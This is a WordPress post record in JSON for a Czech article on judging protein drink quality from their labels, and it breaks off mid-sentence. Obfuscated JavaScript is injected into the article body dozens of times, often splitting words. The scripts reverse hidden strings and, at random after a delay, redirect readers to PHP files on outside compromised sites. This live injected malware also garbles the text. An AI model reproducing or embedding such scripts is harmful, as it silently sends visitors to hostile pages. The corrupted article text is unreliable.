{"id":504,"date":"2021-06-23T09:06:55","date_gmt":"2021-06-23T09:06:55","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=504"},"modified":"2021-06-17T09:13:05","modified_gmt":"2021-06-17T09:13:05","slug":"jak-se-vyznat-v-proteinovych-napojich","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2021\/06\/23\/jak-se-vyznat-v-proteinovych-napojich\/","title":{"rendered":"JAK SE VYZNAT V PROTEINOV\u00ddCH N\u00c1POJ\u00cdCH"},"content":{"rendered":"<p><strong>Tom\u00e1\u0161 Novotn\u00fd, lek<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tor Tren\u00e9rsk\u00e9 \u0161koly Olympia<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-476\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/05\/WEB22.jpg\" alt=\"\" width=\"185\" height=\"155\" \/> <\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Proteinov\u00e9 n\u00e1poje pat\u0159\u00ed mezi nejobl\u00edben\u011bj\u0161\u00ed dopl\u0148ky stravy jak mezi aktivn\u00edmi spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci, tak mezi nesportuj\u00edc\u00ed populac\u00ed. Utrat\u00edme za n\u011b podle proveden\u00fdch pr\u016fzkum\u016f ro\u010dn\u011b v\u00edce pen\u011bz ne\u017e za jak\u00fdkoliv jin\u00fd dopln\u011bk stravy \u2013 a <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to v\u010detn\u011b vitamin\u016f a miner\u00e1l\u016f. Jin\u00e9 v\u00fdzkumy zase uk\u00e1zaly, \u017ee proteinov\u00e9 n\u00e1poje u\u017e\u00edv\u00e1 pravideln\u011b 9 z\u00a010 kulturist\u016f. Jsou zkr\u00e1tka IN a svou popularitu si dr\u017e\u00ed u\u017e n\u011bkolik dek\u00e1d. Nelze se pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to divit, \u017ee prakticky ka\u017ed\u00e1 zna\u010dka suplement\u016f na trhu, a \u017ee jich nen\u00ed zrovna m\u00e1lo, nab\u00edz\u00ed sv\u016fj vlastn\u00ed proteinov\u00fd n\u00e1poj. Ty se po<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom od sebe li\u0161\u00ed nejenom chut\u00ed, ale tak\u00e9 slo\u017een\u00edm, a p\u0159edev\u0161\u00edm kvali<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou vstupn\u00edch surovin. <\/strong><\/p>\n<p><strong>Jak se vyznat v\u00a0nep\u0159ebern\u00e9m mno\u017estv\u00ed r\u016fzn\u00fdch protein\u016f a jak poznat ty opravdu kvalitn\u00ed?<\/strong><\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Kl\u00ed\u010dem k\u00a0relevantn\u00edm informac\u00edm je v\u017edy etiketa<\/strong><\/p>\n<p>Na etiket\u011b proteinov\u00e9ho n\u00e1poje naleznete prakticky v\u0161echny informace pot\u0159ebn\u00e9 k\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu, abyste zjistili, jestli je dan\u00fd v\u00fdrobek pro v\u00e1s vhodn\u00fd, \u010di nikoliv. Pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to si etiketu proteinu p\u0159ed zakoupen\u00edm detailn\u011b prostudujte, abyste nekupovali zaj\u00edce v\u00a0pytli.<\/p>\n<p>Etiketa dopl\u0148k\u016f stravy (a potravin obecn\u011b) m\u00e1 sv\u00e1 pravidla. Obecn\u011b plat\u00ed, \u017ee n\u011bkter\u00e9 informace na etiket\u011b b\u00fdt uvedeny mus\u00ed a v\u00fdrobce v\u00a0nich p\u0159\u00edli\u0161 volnou ruku nem\u00e1, jin\u00e9 z\u00e1vis\u00ed \u010dist\u011b na v\u016fli prodejce, kter\u00fd tak m\u016f\u017ee podpo\u0159it informa\u010dn\u00ed hodnotu etikety, nebo p\u0159\u00edpadn\u011b vzbudit v\u00a0z\u00e1kazn\u00edc\u00edch dojem kvalitn\u00edho produktu.<\/p>\n<p><strong>Prvn\u00ed zdroj cenn\u00fdch informac\u00ed o proteinu najdete ve SLO\u017dEN\u00cd<\/strong>.<\/p>\n<p>Jak u\u017e n\u00e1zev napov\u00edd\u00e1, pr\u00e1v\u011b zde jsou uvedeny v\u0161echny suroviny pou\u017eit\u00e9 p\u0159i v\u00fdrob\u011b dan\u00e9ho dopl\u0148ku stravy. Slo\u017een\u00ed produktu se standardn\u011b p\u00ed\u0161e sestupn\u00fdm zp\u016fsobem, tzn. \u017ee nejv\u00edce zas<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toupen\u00e9 suroviny jsou uvedeny na za\u010d\u00e1tku, zat\u00edmco ty nejm\u00e9n\u011b zas<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toupen\u00e9 na konci. Pokud ve slo\u017een\u00ed naleznete na prvn\u00edm m\u00edst\u011b jinou surovinu ne\u017e p\u0159irozen\u00fd zdroj protein\u016f (\u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to b\u00fdv\u00e1 nap\u0159\u00edklad mal<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>todextrin), je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to zn\u00e1mka <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho, \u017ee dan\u00fd protein nem\u00e1 zrovna vysok\u00fd obsah b\u00edlkovin.<\/p>\n<p><strong>Dal\u0161\u00ed d\u016fle\u017eit\u00e9 informace hledejte v tabulce\u00a0NUTRI\u010cN\u00cdCH HODNOT<\/strong>.<\/p>\n<p>Zde by v\u00e1s m\u011bla zaj\u00edmat zejm\u00e9na kolonka ozna\u010den\u00e1 jako \u201eb\u00edlkoviny\u201c. Pokud si kupujete proteinov\u00fd n\u00e1poj, pravd\u011bpodobn\u011b jej sh\u00e1n\u00edte za \u00fa\u010delem dopln\u011bn\u00ed b\u00edlkovin. Ochucen\u00e9 proteinov\u00e9 n\u00e1poje by m\u011bly m\u00edt nejm\u00e9n\u011b 70 g b\u00edlkovin na 100 g produktu. Mno\u017estv\u00ed 75\u201380 g b\u00edlkovin na 100 g ji\u017e p\u0159edstavuje pom\u011brn\u011b koncentrovan\u00fd zdroj b\u00edlkovin, n\u011bkter\u00e9 proteinov\u00e9 v\u00fdrobky na b\u00e1zi proteinov\u00fdch izol\u00e1t\u016f mohou m\u00edt pod\u00edl b\u00edlkovin je\u0161t\u011b vy\u0161\u0161\u00ed.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Co dal\u0161\u00edho lze vy\u010d\u00edst z\u00a0etikety proteinov\u00fdch n\u00e1poj\u016f?<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-506\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/06\/PROTEIN-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/06\/PROTEIN-300x200.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/06\/PROTEIN-768x512.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/06\/PROTEIN.jpg 800w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>N\u011bkte\u0159\u00ed v\u00fdrobci uv\u00e1d\u00ed na etiket\u011b tak\u00e9 tzv. <strong>aminokyselinov\u00e9 spektrum dan\u00e9ho proteinu<\/strong>, jeho porozum\u011bn\u00ed u\u017e vy\u017eaduje trochu hlub\u0161\u00ed znalosti protein\u016f a jejich slo\u017een\u00ed. Jedn\u00e1 se o komplexn\u00ed tabulku, v n\u00ed\u017e jsou uvedeny v\u0161echny aminokyseliny tvo\u0159\u00edc\u00ed danou b\u00edlkovinu a jejich procentu\u00e1ln\u00ed pod\u00edl v\u00a0proteinu.<\/p>\n<p>Bez znalosti kontextu n\u00e1m aminokyselinov\u00e9 spektrum na etiket\u011b proteinov\u00e9ho n\u00e1poje ne\u0159ekne prakticky v\u016fbec nic. V\u00edce informac\u00ed z\u00a0n\u011bj m\u016f\u017eeme vy\u010d\u00edst v\u00a0p\u0159\u00edpad\u011b, \u017ee bychom jej porovnali s\u00a0aminokyselinov\u00fdm spektrem referen\u010dn\u00ed b\u00edlkoviny stanoven\u00e9 podle WHO z\u00a0roku 2007, kter\u00e9 je voln\u011b dohledateln\u00e9 na internetu. Porovn\u00e1n\u00edm aminokyselinov\u00e9ho spektra s\u00a0referen\u010dn\u00ed b\u00edlkovinou stanovenou WHO lze z\u00edskat informaci o tzv. <strong>aminokyselinov\u00e9m sk\u00f3re<\/strong> <strong>(AAS)<\/strong> dan\u00e9 b\u00edlkoviny, kter\u00e9 ji\u017e leccos napov\u00edd\u00e1 o celkov\u00e9 kvalit\u011b a vyu\u017eitelnosti proteinov\u00e9ho n\u00e1poje.<\/p>\n<p>V\u00a0neposledn\u00ed \u0159ad\u011b mohou v\u00fdrobci proteinov\u00fdch n\u00e1poj\u016f uv\u00e9st na etiket\u011b <strong>specifick\u00e9 \u010d\u00edseln\u00e9 indexy hodnot\u00edc\u00ed celkovou kvalitu b\u00edlkovin. 